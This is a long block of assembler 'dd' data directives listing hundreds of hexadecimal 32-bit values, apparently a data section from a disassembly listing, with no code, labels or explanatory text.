		dd 7C4040C8h, 0CDC00C3h, 65627BD0h, 4C003950h, 0D8DA32F3h
		dd 1B124Fh, 93647A88h, 0C08CA2CCh, 1C72860Ch, 2E2AE84Bh
		dd 9D70ABB4h, 513B40F2h, 0F7D7ED98h, 4BE60CE4h,	28983F72h
		dd 0F2445F3Dh, 80D86138h, 8BDCA0A7h, 0CE13C7h, 45DF77BCh
		dd 9DBD412h, 19789CA0h,	0F80478B2h, 0DEB0C257h,	8FC1CC03h
		dd 0AFF0E7D3h, 0CF008018h, 0B01E0C2Fh, 3EF94Fh,	5CCC70D1h
		dd 79AD8EEFh, 0D00A5FCh, 0EB9B4615h, 5804D906h,	0FC3E6872h
		dd 0A5CB3D7Dh, 2D99B400h, 0DC9D485Ah, 7BF66901h, 0B1D59A66h
		dd 0BF6AEC40h, 6C900A9h, 0E8E7CBDFh, 910013F1h,	75C517A0h
		dd 3F2854B2h, 0D502206Ah, 6C80B41Fh, 0E01B1840h, 3500F0EEh
		dd 550FD3BFh, 2BEFA6h, 470A8971h, 672A6B8Ch, 0A4CC241Dh
		dd 0C4A8BC40h, 7C9DD16h, 0E6FBEAE5h, 3018E703h,	3EB3561Ch
		dd 109F7B02h, 0C6BA79D0h, 0F4BC2028h, 0B87E5005h, 0AB80EE38h
		dd 0E28A7FE9h, 7A59006Fh, 0CF7C9054h, 0E20156F9h, 741CDFF3h
		dd 0A43831A1h, 5A9E4907h, 139D6264h, 3FB9F860h,	18CF5518h
		dd 29C3C8h, 467D48F9h, 0AC1A0E2Ch, 621EF100h, 717224B6h
		dd 132A1219h, 0BB1C0315h, 0C0D8E0AEh, 0C36039CBh, 13845671h
		dd 594D188Ah, 37FDA0A8h, 0D6890B00h, 0BF43B85Ah, 0D51C05E0h
		dd 0C0D99002h, 0C768DA0Dh, 5DEEE00h, 0CC6F44F0h, 1C5EC057h
		dd 0FFA616E9h, 7001F092h, 9D400618h, 13C403B7h,	47962EEBh
		dd 989903C1h, 27F015D3h, 0B407FB0Ah, 0DBAF859Fh, 62C396A1h
		dd 7C549C0h, 0EE3C574Ah, 0C6DD04Ch, 6E38F830h, 6AEA0055h
		dd 87C8A4D8h, 445358C6h, 0C56D4C1Ch, 808E5584h,	6A864ACh
		dd 37B2F00h, 0E09F1F81h, 593A01E7h, 0D0E69116h,	0DC98FF0h
		dd 780257C2h, 0C079BA2Ch, 9063C4h, 0D0E7339Eh, 57476295h
		dd 0CAC3751Dh, 9D0B9980h, 5728773h, 71EF8346h, 0EBABC0BEh
		dd 8F004440h, 5BFACD16h, 91C0D8h, 6E8C3315h, 67A84725h
		dd 5328E007h, 1B712908h, 9B40715Eh, 3FC70D59h, 0A69F0A1Fh
		dd 4BE43Eh, 6F63465Ah, 7D4C6175h, 15810B78h, 0B13C800Fh
		dd 0D032EDh, 0A5540ED2h, 86722CF0h, 8A4A0D00h, 3683A874h
		dd 917FC0Ah, 6693D8E8h,	0F994C460h, 0EC35805h, 0EC80CC0Dh
		dd 304FA1h, 62FB4C03h, 6A2ED68Dh, 40816500h, 0C38EFFFDh
		dd 9C53002Ch, 0B15C3A5Bh, 6E3E4D47h, 1CBE80CFh,	6FE0A8D7h
		dd 54B80016h, 0EE4A0B9Eh, 2498F817h, 3B981800h,	1D922503h
		dd 3407DDCh, 0E7FDD0AFh, 0C785F1B9h, 0F47FC148h, 15AE70DEh
		dd 69D25300h, 735244B3h, 7B1309D4h, 4040B682h, 9E382075h
		dd 9AD3006Ah, 39EE98F4h, 7A7E1C8Ah, 13E7C0DCh, 0C103A281h
		dd 0F2503F00h, 8B9EA4B9h, 111E1F4Dh, 1338497Ah,	0A65D3880h
		dd 813B9FBh, 80E6D14h, 21884B9Ah, 81DCF934h, 0BDB6A8D3h
		dd 7F81C0F2h, 0EA69AC2Eh, 7A9A12Fh, 21133CB4h, 5C33A80Ah
		dd 6A7300F6h, 8D6B343Dh, 0D6022A94h, 14EBEF64h,	514CC82Eh
		dd 73B9CA99h, 836301A7h, 53E506C2h, 0CFE0A4D4h,	0D85CE31Dh
		dd 532F01AEh, 9BF09EE4h, 815B30h, 93EBDE54h, 9709A3A0h
		dd 30353C00h, 65A9BD7Bh, 637307B6h, 1E93537Fh, 6CE480FEh
		dd 8FABC5BAh, 614D0803h, 0D3E0CF0Ah, 0A9F12889h, 17175A0h
		dd 0D7A5C5F1h, 0D9EB5AE4h, 0C69EFC7Fh, 0B1530230h, 22C18262h
		dd 717FE405h, 0F600B6E2h, 29D9B93Bh, 5414696Dh,	0EEB780Eh
		dd 2A738736h, 9C8F8Ah, 0D695EFF4h, 57003343h, 0E88B60F9h
		dd 3DC0DC73h, 0C2800516h, 0C849D068h, 3A1258C4h, 0B0D05AEDh
		dd 1CE4B935h, 40556FECh, 73B388E5h, 9B004359h, 0A353FC8Eh
		dd 0E666EAA2h, 0C43A01DDh, 571CE330h, 8BF84085h, 0E7034508h
		dd 16B97E9Fh, 0F3213FA0h, 0FC2CBA80h, 4495C535h, 0EB9EAC00h
		dd 0CF432165h, 5FC70672h, 80170C45h, 9D327F07h,	0A91847h
		dd 67642BDCh, 7BE826h, 30919E24h, 84B41286h, 0D41AA31Eh
		dd 92F9CA40h, 1540019Ah, 9435C762h, 0DF500809h,	0D529C8C0h
		dd 12AA03Fh, 2CA5466Bh,	0CF20D95Ah, 0C9AB0204h,	97C2E7B3h
		dd 9056C087h, 2FB51AEAh, 2A604CE6h, 9C4A7719h, 58340068h
		dd 355246F8h, 0BE000803h
		dd 9918B3A3h, 0EC53DF29h, 0D06F02E6h, 99662CFh,	0FF300070h
		dd 0C8C1D28Fh, 7CEF5C4Dh, 10A8FA00h, 76A1E28Eh,	0E4AF7E16h
		dd 0F1425406h, 17739896h, 0BA7136h, 3160863Eh, 0E8B4796Ah
		dd 0EC0CC7C0h, 63E200A8h, 0EA43231Ah, 7D18757Fh, 4150AFAEh
		dd 0C29700EFh, 0E18FA91Fh, 48C93C1Ch, 0FC2E01D2h, 0FD307F72h
		dd 9A9F00FDh, 7DC0068Fh, 260115B8h, 6B1302E5h, 0DEFC458Ch
		dd 0B7F0E385h, 37A50384h, 3AC366D5h, 0C43486F0h, 0ADD29E07h
		dd 41C06FA0h, 0C1D396h,	1614CA54h, 2BF60D28h, 920049FAh
		dd 3A4FFB5Ch, 0E66F755Bh, 8C580077h, 4084C788h,	900A733Dh
		dd 0A048A67Ah, 2AFF4100h, 0DD5CBDh, 0C37BDC49h,	0A696F865h
		dd 0B1138103h, 0F033A188h, 6E1D71h, 5B3D4DE4h, 2F5E6F05h
		dd 7C8D2200h, 93AA3F10h, 0E3DA2C24h, 7673001Dh,	9C9F87F2h
		dd 400F7F07h, 80099B90h, 0E212D1ABh, 0C37A003Fh, 7DF06133h
		dd 0CB3904B1h, 0D6598019h, 4EA809C4h, 79BC002Fh, 0CE98C797h
		dd 0AE4DF4DDh, 14E32D04h, 20C3180Ch, 6B3D11AAh,	0D8AFFA02h
		dd 68A97870h, 0B6EA3C8Ch, 0BD350BC4h, 0DEB18480h, 0A35854FFh
		dd 0E12FC050h, 3BD82A7h, 0C19FF306h, 0B1E5044Dh, 70CFE3ECh
		dd 0A8D4AB42h, 0E27B400h, 1181841Ch, 435C007Eh,	360812FEh
		dd 9E000472h, 0BD1F8D9Ah, 2623AC7Bh, 80C8EBE5h,	1027BF11h
		dd 4500A132h, 70DE4F16h, 135E5F6Ch, 4914A5EEh, 8000991Ch
		dd 2DB671CBh, 0DFA4E700h, 0FCC2D228h, 0E3B00045h, 0EA56604h
		dd 79037E35h, 0D652AC1Ch, 0F9CCC72Dh, 64A701F9h, 4F0ABC82h
		dd 3B91C4DFh, 65CEA4A1h, 20CCC66Ch, 0D95CB10Bh,	3601469h
		dd 0D1DDA073h, 0DEC0424Eh, 0D209C037h, 87F8FD61h, 9C10F3CCh
		dd 39C456E9h, 1D1281EAh, 8AD44291h, 8872B36Ah, 0C09F110Eh
		dd 0E434B8h, 0E7C6CE2Ah, 9A191049h, 0AAAB24BCh,	8CAE0955h
		dd 23DAE0A0h, 0DD0EBCD6h, 0E0E77B3Fh, 0D55EEE40h, 8EE400BAh
		dd 64BD8DC5h, 8032C0F9h, 609EC0FDh, 3B370C9Dh, 59802703h
		dd 0D64BA596h, 0E00D7F6h, 31A717DEh, 0B12B152Ch, 498697Ch
		dd 0F612AD82h, 32119303h, 1D6E0094h, 0C1D785DAh, 0EAEE1DE1h
		dd 0B94C00Fh, 75ADFD43h, 0FCA0420Eh, 6A1D6060h,	0F6DC17EAh
		dd 384A7B38h, 80D8CEE8h, 552AB08Fh, 206A649Ch, 568890h
		dd 9CA53ABEh, 0CAC25FE6h, 50D78629h, 68C1163Dh,	64765430h
		dd 54FEFAF0h, 66DA0D9h,	0C87F01C2h, 0EE73E829h,	0E9CBFC0Ah
		dd 2D8890h, 0F0A2144Ch,	0B37AADh, 440A4D92h, 0E4DDF1C4h
		dd 4360A400h, 7403C665h, 783A0493h, 0C1AF9BBDh,	0C6AC5BFCh
		dd 0A488B0C5h, 444949F5h, 0D06CD8h, 25DCA174h, 4BBED4h
		dd 1F73EA34h, 9C61A59Fh, 2AF51C00h, 604F2606h, 6B8300ACh
		dd 56D7ECA2h, 0E126FCFEh, 0E8F5495h, 328E22BBh,	1305416h
		dd 33A84B11h, 0C5986012h, 7D13F20Ch, 377110Ah, 17F32CD9h
		dd 0A98136ADh, 1B8505Fh, 0B90196F5h, 0F7F81307h, 0A0537393h
		dd 0A4EED0BEh, 6B8D0234h, 143F6528h, 0C0A0A44Bh, 0F0088B2h
		dd 32F39E33h, 0EB3D69B0h, 1FF4CE0h, 2E77E8ACh, 61F9F259h
		dd 0BE20407Dh, 0E301A96Dh, 0DE645741h, 3BC0D30Ch, 20750F84h
		dd 3F80A45Bh, 3DFF60CEh, 6F63EC0Bh, 67F8605Ch, 93C9072h
		dd 0CF830C18h, 0D450E870h, 75070B94h, 207DECEDh, 3E9F0DC1h
		dd 0A2F430h, 0B425A888h, 0D7605145h, 0AF4E920Eh, 2ED42F6Dh
		dd 7E412162h, 3874C2A5h, 25A100FFh, 0FBC19419h,	0E02CB344h
		dd 0F100C01Ch, 12D909DCh, 0CAC40022h, 27DB3C36h, 14240672h
		dd 0AF033064h, 0F885494Dh, 0A4682Ch, 0C08412E9h, 0DB9EF405h
		dd 0BED62000h, 3861B7FAh, 3C500096h, 5D718359h,	8F1F5779h
		dd 0AC40977Bh, 47E9AF98h, 9F7302D2h, 4E0D6410h,	0AC49476h
		dd 0C4D118C0h, 0DA8C05C6h, 90DE53E5h, 2D9D7008h, 4174BB00h
		dd 7942568Eh, 0EEAF0469h, 0FC44802Ah, 0FB151764h, 7C71DC20h
		dd 0DD6F00E7h, 0E698BAD0h, 100D6F1h, 8DB4F2Eh, 1FEEB4AEh
		dd 0F2264Eh, 675B18Ah, 2D007B32h, 0F82446D1h, 26EAA950h
		dd 2660C79h, 0B2190E97h, 0DB4759E0h, 7506A500h,	6ADF8257h
		dd 22F832h, 0C9B729FCh,	7A87E2CAh, 7336FA0Bh, 1D242005h
		dd 9AD7CBFh, 80AE7E92h,	2FE64C20h, 5806C9CBh, 8B4F47B2h
		dd 24C67016h, 9CB4455Eh, 0C702BFDFh, 0ECB0D5A1h, 9944A840h
		dd 0CA08D804h, 0F9C0071Ch, 0A265E1h, 2468CEDAh,	0EA745675h
		dd 0DE80109h, 7A9022AEh, 9C2C596Ah, 0B70BC74Fh,	0C79CF03Ah
		dd 8B0E2DF3h, 60C16C16h, 1B64D5A8h, 0EFB51E69h,	0F4D38138h
		dd 8F129555h, 38F8C448h, 13BC67C9h, 0C11E3FFBh,	0F02EDDB4h
		dd 702EF6B7h, 8B0021BAh, 174D759h, 0EB0F30DAh, 0CF910739h
		dd 5FFE7671h, 4F1F2800h, 146DDF34h, 0A98000D5h,	0A0279817h
		dd 0CF3D4002h, 6F25838Ch, 26DBF190h, 760A648h, 8992D37Eh
		dd 0FE2CC86Ch, 3E900C23h, 4080B73Bh, 356FF6C1h,	6A1271F3h
		dd 8C055C7h, 72D902E1h,	0E0577C1Bh, 60C4B1D5h, 201E2768h
		dd 93630A1Ch, 61B61009h, 0CC331920h, 0E0ECCE1Fh, 0DD0F0DE4h
		dd 4A36A616h, 0B787BCF8h, 43E459B2h, 0F820E8B5h, 715DB893h
		dd 58993B67h, 0B12DEE04h, 30709050h, 0BE2D69D3h, 98308035h
		dd 0F1A32AEBh, 5015CC48h, 3239052h, 944DABEFh, 80F891E6h
		dd 32014C3Ah, 5F998473h, 7C4C1B9Eh, 72413039h, 0F0B305E9h
		dd 0AFE2A0Eh, 75E2C01Dh, 0B979D343h, 999FC74Ch,	0CF337022h
		dd 8E2E8485h, 9DA0150h,	0EBB6B047h, 0D3AA4183h,	7A88C1EAh
		dd 0F1718C16h, 6E0033FEh, 9C273E51h, 7CE11h, 3CEBB588h
		dd 40B3DF1Ah, 0A05E4D02h, 919FD630h, 0E02C7B3Ch, 0AAB6E1C0h
		dd 690003F8h, 0EF9DAB53h, 79BCB163h, 0E3EC2EA2h, 40891CD0h
		dd 0A681BB19h, 9418D71Dh, 0EF6818CFh, 25F40091h, 64FC3EB6h
		dd 14007AE2h, 0C2FD510Ah, 2C17BA7Fh, 14816A1h, 0EC836234h
		dd 100FEB79h, 45BE48E6h, 5081B788h, 86105318h, 80A87C47h
		dd 1F006890h, 300232B2h, 0B0445A1h, 70577D41h, 0DD424C22h
		dd 8B00A87Ch, 1EAB0BB6h, 0CA1309F8h, 24071CD3h,	0ACB1166h
		dd 9D01D872h, 32A3Dh, 6CF63409h, 5EE528h, 514252A8h, 6EBA84E1h
		dd 0D1A1E61Ch, 0EEB6043Fh, 0AD0E7Dh, 132C9C03h,	161FF31Eh
		dd 0F7CB382Fh, 0E860134Bh, 0FAFDDDBh, 90FC0CA3h, 0B880204Eh
		dd 0E48F604Bh, 35000AF8h, 56C43A08h, 18046B29h,	58174D1Ch
		dd 4B098FE0h, 80681F6Dh, 2F266EBFh, 7FE800ABh, 90A6C0C1h
		dd 0A001EC4h, 0FDB4566Dh, 34F8CFAh, 0DBA064A5h,	19D8D424h
		dd 0F43D8BCCh, 192801Ah, 7378423h, 53980121h, 0D87A1310h
		dd 774323Fh, 3C850AFFh,	4D34C01Eh, 0C62302h, 0CDFDE8E7h
		dd 0CBFB1606h, 700A5500h, 5CC98E5Ah, 5EE490h, 1EF49DB3h
		dd 535F569Fh, 0F1008D98h, 9EE95DF0h, 7B2924h, 679137A8h
		dd 4AAE692Ch, 120096E2h, 95D28A53h, 48642362h, 907088FEh
		dd 1A2A00C5h, 3949E070h, 653AFC56h, 81169E55h, 0A1361BC0h
		dd 0FB75708h, 0D638A683h, 0F859C760h, 7700E544h, 94022616h
		dd 9D962Eh, 6EB8FCEh, 32F98C61h, 5EF75900h, 2C0E4652h
		dd 2E721FFCh, 0C0ED9D6Bh, 0BB127A7Bh, 0B304DCEAh, 0E9905F9Ah
		dd 51D478A5h, 64D9007Ch, 0F616BFE4h, 4100B323h,	0DC07C7EDh
		dd 24251DC6h, 5C0356h, 915498E9h, 7E04FAF0h, 73A7E782h
		dd 90147091h, 0EB04E838h, 0A02C236Ch, 0E816BE70h, 0E840D146h
		dd 85A09063h
		dd 83182C4Ch, 22A400D4h, 0EDD565D6h, 0B67A8B01h, 2D041D7h
		dd 3355970h, 59B16F98h,	678162A0h, 0D5718876h, 0D9C8828Fh
		dd 87E2B17h, 0E078850Eh, 7A958A3Ah, 7558EE4Bh, 0F7970080h
		dd 57DF838Fh, 0DB018DCEh, 55384CE6h, 5C20697Bh,	0BCD2009Bh
		dd 6A8122F0h, 1D00C856h, 3CA82806h, 0FD5460Ch, 77265367h
		dd 80CE4B04h, 360BA4A4h, 660D0901h, 9EEBFD2Eh, 459BD0h
		dd 990CDE98h, 0A5013BAh, 80B82309h, 36C80046h, 0AD8C5Fh
		dd 0B65B4116h, 1AB7975Ch, 0C89CCB00h, 0EAB2E112h, 0A65200F9h
		dd 0B17210EFh, 5500213Eh, 0F73A743Fh, 0E1B716DEh, 0AB9BD4h
		dd 1C9E2D22h, 27A263ACh, 8013CF4h, 0B68EF585h, 58E4068Dh
		dd 112813D3h, 0E224F06Ah, 0A9A7E400h, 0C68A0212h, 0FF62003Fh
		dd 52DF5F58h, 0F4505196h, 0E67CEDB4h, 0C607EA00h, 0AC27091Eh
		dd 4325003Ah, 5E41558Fh, 61007571h, 4F2EEF5h, 3C13CE92h
		dd 3306B2F0h, 0C80CD0C4h, 6A29ED00h, 2B648954h,	1F7EA0Ah
		dd 507FB8C7h, 247E76BFh, 33009A18h, 34BA82B1h, 0C98498Ah
		dd 0E054ECEh, 2090A021h, 23073800h, 9B1AB1B5h, 69E1132Bh
		dd 0BEEC0FE5h, 0C779D940h, 0E201B8D2h, 7685300Eh, 68206C1Fh
		dd 57DE0249h, 0FC93E624h, 6130D040h, 4A5AF100h,	697A0F40h
		dd 962B0026h, 0B1460985h, 6709EB9Fh, 5C8737D0h,	7680094h
		dd 2888F741h, 0A7001571h, 0C431F646h, 24CCC55Eh, 4D08DFEh
		dd 8029BC91h, 3CED4E8Ch, 0AB6FB402h, 0E85143E5h, 0ADDF0h
		dd 2B688E45h, 391732BBh, 8F509600h, 0CFD312BFh,	659076Ah
		dd 0B2A58849h, 0D13FA6h, 4B2043DEh, 2B5DB460h, 8E3018F7h
		dd 3CE4B9A0h, 5075441Eh, 7FC813C2h, 7158D887h, 99EA001Ah
		dd 0DC19D055h, 3D00C5B6h, 79D752EBh, 0FFDA66Fh,	88F4AAE6h
		dd 18805EEBh, 4D108577h, 2F649200h, 4C4AB16Ch, 2DCD0088h
		dd 0FE8A367h, 8000C387h, 18CE0129h, 0BB2103h, 8F422439h
		dd 70604357h, 77007473h, 6D990FB2h, 52C109Fh, 0BB3C15D6h
		dd 8FC4AB02h, 71CE6480h, 0C25C00CAh, 0BCDBE881h, 820460A4h
		dd 686721D7h, 9801FCFCh, 0CDC65FF3h, 92DC64FFh,	1EFE411Ch
		dd 0C980F140h, 0BF68DC3h, 9D5A6E5h, 0CD78B0C8h,	10DA8C00h
		dd 85B034E4h, 0F65B3AB5h, 0B381F309h, 8C258481h, 38006E7Bh
		dd 0A098E161h, 71709066h, 7EE0C033h, 27D16E2h, 0FE6DB000h
		dd 155ECDBEh, 38EB71ADh, 0B180216Fh, 0D03FE854h, 0B900DEAAh
		dd 4D604EF4h, 34AE1A2h,	4CFE523Ah, 0DA8B73A9h, 51AC4FD0h
		dd 0C0D00A51h, 0B80097F4h, 0D57B1121h, 7DDA5A23h, 0E400091h
		dd 0B4572C85h, 57E8D3Fh, 0DFED100h, 0E8C903F3h,	5C300779h
		dd 707B2B20h, 32588AE7h, 0B1DB3D05h, 95848FFBh,	718BEC00h
		dd 5AA66124h, 36E08050h, 0E1019C60h, 0FCB77B19h, 0BE709AFAh
		dd 0BA15023Dh, 0A735172Ch, 7B00247Eh, 5C74576Bh, 0A8BE688h
		dd 6CAD23C6h, 0EA4000ECh, 94A07329h, 59151B00h,	0ABF91456h
		dd 0F98008Fh, 58404CF4h, 287C4D08h, 0BB5A2C00h,	50804E10h
		dd 65E8E794h, 4DF5000Ch, 56074941h, 0D074661h, 6FE6F7D9h
		dd 9FDC21FEh, 5470F6ABh, 17DFE11h, 6C0E1F0Fh, 2C2A4363h
		dd 90842730h, 0BBB9090h, 6A3C0CDDh, 0FC835680h,	961D1CDFh
		dd 0AA8085A2h, 3110998Eh, 937F0588h, 0CF998h, 41C466A7h
		dd 0B60053A5h, 571A2D12h, 725E9B2h, 0F8C128B5h,	0FCDE0161h
		dd 4CCC30EDh, 7C9C27B7h, 58BBB2A2h, 0FA4E7130h,	0D55400E5h
		dd 0E740FB4Ch, 2F030D5Eh, 8C3E8AF9h, 0A1280094h, 0BEA2B62Eh
		dd 0A400D310h, 0C091FB07h, 53FDD7Ch, 0EE0E069Eh, 63AC8114h
		dd 54C8F012h, 0CCF1BD03h, 88604CB0h, 1DB74B5h, 4E8311E2h
		dd 8E5DAE0Ah, 841E80C6h, 0E8F078EFh, 0CE6E17CBh, 0A94201D8h
		dd 20E5D13Ah, 0EC000A5Fh, 610CDAD3h, 0E69F1A4Eh, 0C7788Bh
		dd 0BCF6AAEAh, 0BAE7A7B7h, 0A848873Bh, 582EB8F9h, 721C1F39h
		dd 91A237C0h, 0BE53FEh,	0D86FE1ACh, 0F88FC3C7h,	0FAF5F0Fh
		dd 2FC1FD2Ch, 50B11F19h, 7CFC430h, 0EC59CD6Eh, 25F48186h
		dd 0B9D8308Ah, 3351E400h, 0A1027858h, 3FF70063h, 4353A64Dh
		dd 840FC564h, 0C5AFDCEDh, 0FC20470Ah, 0F735248h, 5F65CE70h
		dd 4597E40h, 9E00E9A4h,	0F1C9AE60h, 1A2916Ah, 0F813039Ch
		dd 706BFABEh, 9B30A780h, 4AB926F2h, 0AC0A0701h,	1E9C7FE9h
		dd 0B042EAE7h, 132D187Bh, 79BC0E0Bh, 0F8B3049Bh, 5A302C87h
		dd 5C9674ACh, 2A089099h, 9807EDF6h, 0FBA03D6Ah,	0ECDA5DAh
		dd 46757F5Ch, 0D41E8E60h, 4905BDDh, 55007071h, 6AF43408h
		dd 0C09211Ah, 61914380h, 2900A620h, 0BC3A7BBh, 4E32A9D8h
		dd 0E23C032Dh, 759B2A73h, 9D56C838h, 0D583E4E8h, 0EBBE1D66h
		dd 1481F40Ah, 4C6193F0h, 487150F0h, 0C702E85Eh,	0A5B95844h
		dd 0EBF87DC0h, 1C2C0901h, 84327D54h, 708F30h, 0B4121823h
		dd 0F15B0F4Ah, 0A611C70Eh, 301ED3C0h, 30F4A141h, 0B3708076h
		dd 20665995h, 874B4900h, 0A76B2BCCh, 0E50D6409h, 380D8E9h
		dd 26081DD7h, 44983BABh, 5CE6588Ch, 7EF39609h, 23308E6Bh
		dd 983BF9BAh, 0B23E0D05h, 0ABD11F1Ch, 85F466DFh, 0A062A34Eh
		dd 0BB16D788h, 0BCF489F7h, 9D8A00B0h, 3CA12A2Fh, 7B5D73BCh
		dd 0F60E3860h, 0C000064Eh, 65D4C598h, 82E8281Ch, 687413A4h
		dd 86AD0024h, 0DBFCBCEBh, 0B8CB48h, 8963CC42h, 9B11B4h
		dd 2E1CE00Eh, 6C5EEB5Ch, 810AF4Ch, 17EE6B14h, 0D83C0082h
		dd 0EC969E15h, 0ED889F00h, 64520BD7h, 32B84Ah, 5AAD4B62h
		dd 67D8C255h, 35E63800h, 2CAB7E49h, 0C8E40013h,	4685B8AAh
		dd 152FF6B0h, 5E48283h,	63FC56B7h, 0E1017D72h, 0EC036EF0h
		dd 0DC400C21h, 38A4150h, 0A948266Fh, 1F888FE8h,	2100C14Bh
		dd 0D1C230C9h, 0C20CA3B7h, 94B985B0h, 0DDB1B0A0h, 0E0F1A73h
		dd 4121D37Fh, 0BFB95192h, 4C300AC1h, 73240075h,	8F07F2A9h
		dd 1A248B1Eh, 7F0F8CEBh, 0EFBC2E1h, 0E4B10584h,	0C49C1F14h
		dd 0E99BED43h, 1180EAB8h, 0A3692C7Dh, 7300C523h, 0A2E52BB4h
		dd 0C716FABAh, 0A1126F70h, 0EE5063FFh, 21174059h, 0A6038400h
		dd 7AFBD55h, 533175DDh,	9A38C0A8h, 54001B4Ah, 0A794F563h
		dd 0BDCF780h, 4F13D2FDh, 25040B00h, 9D00B84Ch, 61C23964h
		dd 0DE995h, 0A97EBDB5h,	7069103Bh, 0C76DA100h, 13E23438h
		dd 0F82804BCh, 0FC1AC131h, 0CD2C05F4h, 89714B9h, 0A58402h
		dd 0BFC072B3h, 0D587CB09h, 1E0075D4h, 6B57D85Dh, 141A9007h
		dd 60CE2FA1h, 0BCD211BDh, 2DE95C66h, 6986A400h,	7F08201Ch
		dd 17F73A04h, 4916102h,	0BBE3E1EDh, 369080A3h, 88A1019Eh
		dd 9A8DADFFh, 7C6C11h, 0C374D224h, 51E83Ah, 3CFE4FD8h
		dd 2B1364EDh, 2373FD0Bh, 8034D11Ch, 6A55A2E0h, 77013A5Ah
		dd 0CDC37DFBh, 79875DFCh, 0B7F222DCh, 5F4A115Eh, 8C032BA3h
		dd 0C1124EE2h, 119E8DC0h, 0CFB1003Eh, 0AF663572h, 0D96AF700h
		dd 0E117A37Eh, 798E32B7h, 5EE2BB60h, 46F26078h,	0B773F1Fh
		dd 0FF2DC903h, 4C4801E4h, 0BC6F1FE3h, 0DA899F5Eh, 3830F19Dh
		dd 1D7D2375h, 32BED96h,	5EBB7194h, 568039D3h, 0AF00163Ah
		dd 0FD0FAE28h, 0ECFF5Ch, 6F144AD7h, 2BD2EB70h, 96B0426h
		dd 477BF900h, 765802CDh, 4C4E00DBh, 530C5E5Fh, 7101BA70h
		dd 65B57636h, 2AF4986Dh, 21961F22h, 37264EFCh, 307A540h
		dd 0F6007AF9h, 385BFEB0h, 2D52FD77h, 3B783C41h,	2156CF00h
		dd 0E41ACB7Dh, 6CC003DFh
		dd 58B8C8CEh, 6FC4D9C0h, 0A828D302h, 484E4253h,	11B26A0h
		dd 90BF453Eh, 0D0761840h, 529AC014h, 8E3D610Ah,	25801824h
		dd 0C02C4135h, 459013h,	93F1BF3Bh, 0E95EF974h, 65AEF02h
		dd 0C86F49B7h, 681EEF0h, 0D1B3BC2Ah, 50210B9h, 0F7563318h
		dd 0A4DB2559h, 0FF5522ACh, 735E20C0h, 1B378000h, 0C4D7E95Ch
		dd 0A31A0EFDh, 77A05D4Fh, 47931D82h, 2900DBEEh,	6F58161Bh
		dd 0A863E01Fh, 5A68E8h,	53DA2625h, 959D6B10h, 55825400h
		dd 2E6ED8BCh, 65D3F79h,	0E26F0C00h, 2BFFD6FCh, 0F048DA75h
		dd 6EA80546h, 95031BBAh, 0E856E370h, 7C312C77h,	23C81816h
		dd 265BB1F8h, 0AA58A000h, 8283AF37h, 23DD074Bh,	665377F2h
		dd 4A18288Fh, 49F91373h, 0F8464443h, 724C8C00h,	47E1BD42h
		dd 153BFEAAh, 940723B8h, 0C0378E1Dh, 145D8CCFh,	0E017943Fh
		dd 100039DEh, 0B7B46CDBh, 1EC3009Ch, 33B03A03h,	571DAC38h
		dd 53184F19h, 194DF08h,	0C2156F87h, 0D01EB48Ch,	0CC03BB79h
		dd 11B290B8h, 1B67E7C4h, 0FBE38C0h, 0C18D3EB7h,	7839907Ah
		dd 107C60EDh, 0CC898BC7h, 74918300h, 5C237D24h,	0BF75FCh
		dd 44B91FB0h, 86C30F6Fh, 0B7280DE4h, 0C907CE8Ch, 0C61BBF88h
		dd 0C1088F86h, 46C71A30h, 0D1C1F1B2h, 8DE0C26Fh, 740517BDh
		dd 7521BE92h, 47A6424h,	339583EFh, 4810002Ah, 6F91D4A5h
		dd 16175538h, 58186C54h, 7AECC29h, 0B035AADBh, 982DA13Ch
		dd 87C9F93Dh, 0DCA6EF21h, 3385B910h, 0B0FE0FD1h, 0B4E02CC8h
		dd 5A29E4A1h, 0E93558C0h, 0CB5C75h, 0F0887A59h,	315E1D77h
		dd 8818AF31h, 0B9ECADDCh, 0D21F0072h, 6E4B1569h, 281853B2h
		dd 0AD71F4D3h, 6F1E3010h, 0F9D4A648h, 0BB608C61h, 0E18C22E1h
		dd 50E95402h, 3AB83600h, 2834AB20h, 49C562D5h, 80AF3D0Ch
		dd 0C61FB100h, 6E00E06Bh, 3B0B8543h, 0B98C2Dh, 78E14A97h
		dd 203D0DB0h, 0D78D31C0h, 680DB06h, 69D9377Ah, 1152907Bh
		dd 0B8A87B6Ch, 0D402E14Bh, 553ACD35h, 0A44080ADh, 30A7Fh
		dd 9EDA70C9h, 0ACB978B5h, 526001F8h, 17056FC1h,	0F8D83372h
		dd 6130D058h, 0FD902163h, 38751816h, 5D459BAh, 577CEE00h
		dd 6D3D3E32h, 36F31DA6h, 0EC1B8283h, 988366E9h,	0A1047995h
		dd 94A518BDh, 7730CA4h,	0DD0A1277h, 0D4B0618Ch,	6C08985Ch
		dd 386F9921h, 20067D12h, 199F89FBh, 50D15318h, 31D699h
		dd 0B2719307h, 0A2C4D95Eh, 7428CFF8h, 0DE0CF0CCh, 2091D531h
		dd 0B93801BDh, 48AF53ABh, 750022C1h, 488D4944h,	18064C57h
		dd 0C070F1E4h, 0E6112F0Ah, 1A01BC58h, 98BBB9C3h, 4E83898Eh
		dd 6311E983h, 0FCF82078h, 1D1D3B22h, 416FA739h,	57D093A1h
		dd 3609989Ah, 9F5921h, 0CC582D6Fh, 6B2F3E73h, 55B9AE03h
		dd 1865355Eh, 31263CF1h, 0B3007CC5h, 27D09A5Ah,	0A2F15B8h
		dd 6101F7FBh, 0F9C28088h, 0A833F2B4h, 916C2C00h, 4CFC2FD6h
		dd 0D58400C6h, 0A5DD0EECh, 80A1C0BCh, 4F398F07h, 691E8CBBh
		dd 0BDE414A2h, 37018081h, 95773CA8h, 1091805Fh,	0B422C4AAh
		dd 1EBE2D7h, 351CA965h,	485F85D9h, 48CFE84h, 0A1AE6FA9h
		dd 272E62A3h, 26FD05Bh,	32305E05h, 0A3B3695Dh, 0C156FADCh
		dd 0D6B5A588h, 60B1A88Bh, 286A870h, 0D8761709h,	167818h
		dd 0EA170194h, 39596150h, 8D56F8A0h, 4CD07324h,	7280A011h
		dd 64DD0512h, 946A448Ch, 950E12EAh, 88D84777h, 0DEE98367h
		dd 88B8D7BBh, 5006D0Eh,	0E3FD463Eh, 0E097CC53h,	0BC471B9Ah
		dd 0ED831D7h, 0BE1459B5h, 8040A418h, 0DD091276h, 0C08C9184h
		dd 1126E98h, 0F91FA601h, 5211C3A3h, 8C3DF094h, 40CFD79h
		dd 0D8711704h, 663277F0h, 16FC8F20h, 0B86706A2h, 19580211h
